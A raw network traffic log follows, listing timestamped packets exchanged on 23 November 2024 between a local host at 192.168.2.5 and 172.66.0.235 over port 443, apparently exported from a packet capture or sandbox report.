Nov 23, 2024 13:37:49.729850054 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.729881048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.735836029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.735853910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.735898018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.735913038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.735940933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.740539074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.742337942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.742352962 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.742424011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.742438078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.747832060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.747849941 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.747889996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.747905016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.747953892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.754677057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.766458035 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.897562027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.897587061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.897664070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.897701979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.897752047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.902883053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.902899981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.902973890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.902990103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.903047085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.909358978 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.909375906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.909460068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.909473896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.909526110 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.915642977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.915664911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.915720940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.915735006 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.915790081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.922075987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.922095060 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.922158957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.922173977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.922234058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.928092003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.928108931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.928165913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.928179979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.928227901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.933693886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.933716059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.933779955 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.933794022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.933897018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.940085888 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.940109015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.940181971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:49.940196037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:49.940258026 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.207324028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.207343102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.207461119 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.207494020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.207550049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328062057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328078985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328151941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328174114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328193903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328212976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328227997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328243017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328274012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328279018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328294039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328306913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328341961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328380108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328393936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328393936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328397989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328449011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328449965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328449965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328464031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328512907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328536987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328552008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328603029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328615904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328685999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328716040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328737020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328774929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328795910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328808069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328808069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328818083 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328860998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328860998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328881979 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.328907967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.328933954 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.329369068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329382896 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329425097 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.329441071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329463959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.329483986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.329504013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329519033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329565048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.329576015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329624891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.329646111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329659939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329714060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.329725981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.329781055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330094099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330108881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330159903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330173969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330235004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330424070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330437899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330496073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330507040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330523968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330542088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330557108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330569029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330591917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330640078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330640078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330725908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330749035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330781937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330801010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.330823898 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.330843925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.331245899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.331260920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.331298113 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.331332922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.331361055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.331387043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.342936039 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.348076105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.473463058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.473489046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.473570108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.473598957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.473655939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.477571964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.477621078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.477638960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.477652073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.477679014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.483624935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.483642101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.483706951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.483721972 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.488954067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.488969088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.489037037 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.489053965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.495052099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.495064974 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.495115042 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.495131016 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.500673056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.500689030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.500746012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.500763893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.506882906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.506896019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.506953001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.506969929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.512753963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.512779951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.512831926 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.512850046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.513170004 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.663918018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.663942099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.663992882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.664021969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.664052010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.664077997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.664452076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.669504881 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.669519901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.669584036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.669599056 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.669656038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.675591946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.675607920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.675667048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.675682068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.675731897 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.680850983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.680865049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.680932045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.680946112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.681005001 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.685739994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.687002897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.687040091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.687146902 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.687160969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.687227964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.692630053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.692661047 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.692702055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.692714930 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.692739010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.692756891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.698642015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.698657036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.698714018 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.698729038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.698780060 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.704621077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.704642057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.704682112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.704694986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.704736948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.704757929 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.750654936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.856057882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.856079102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.856134892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.856159925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.856187105 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.856216908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.861217976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.861239910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.861280918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.861294985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.861324072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.861342907 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.865628004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.865699053 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.865699053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.865739107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.865773916 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.869334936 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.869920015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.869975090 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.869990110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.870054007 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.876065969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.876082897 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.876149893 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.876163960 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.876221895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.877685070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.877736092 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.881819010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.882046938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.882106066 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.882116079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.882148027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.882194996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.882194996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.887693882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.887710094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.887756109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.887769938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.887795925 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.887824059 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.889421940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.889473915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.893774033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.893831015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.893838882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.893862963 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.893889904 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.893909931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.899099112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.899115086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.899173975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.899188995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:50.899236917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.917273998 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:50.925704002 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.049556017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.049645901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.049649000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.049724102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.049758911 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.054821014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.054836988 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.054878950 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.054897070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.054924965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.058197975 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.058279991 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.058299065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.063667059 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.063682079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.063744068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.063760042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.067838907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.067914009 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.067922115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.067950010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.067981958 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.068000078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.072134018 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.072185040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.072197914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.072211981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.072241068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.073946953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.074002028 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.074016094 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.074069023 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.076865911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.076925993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.076939106 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.077763081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.079546928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.079616070 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.079628944 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.079674006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.081203938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.081281900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.087340117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.087357998 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.088613987 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.088629961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.092660904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.092679977 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.092737913 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.092757940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:37:51.092784882 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.093921900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:37:51.101674080 CET	49704	443	192.168.2.5	172.66.0.235
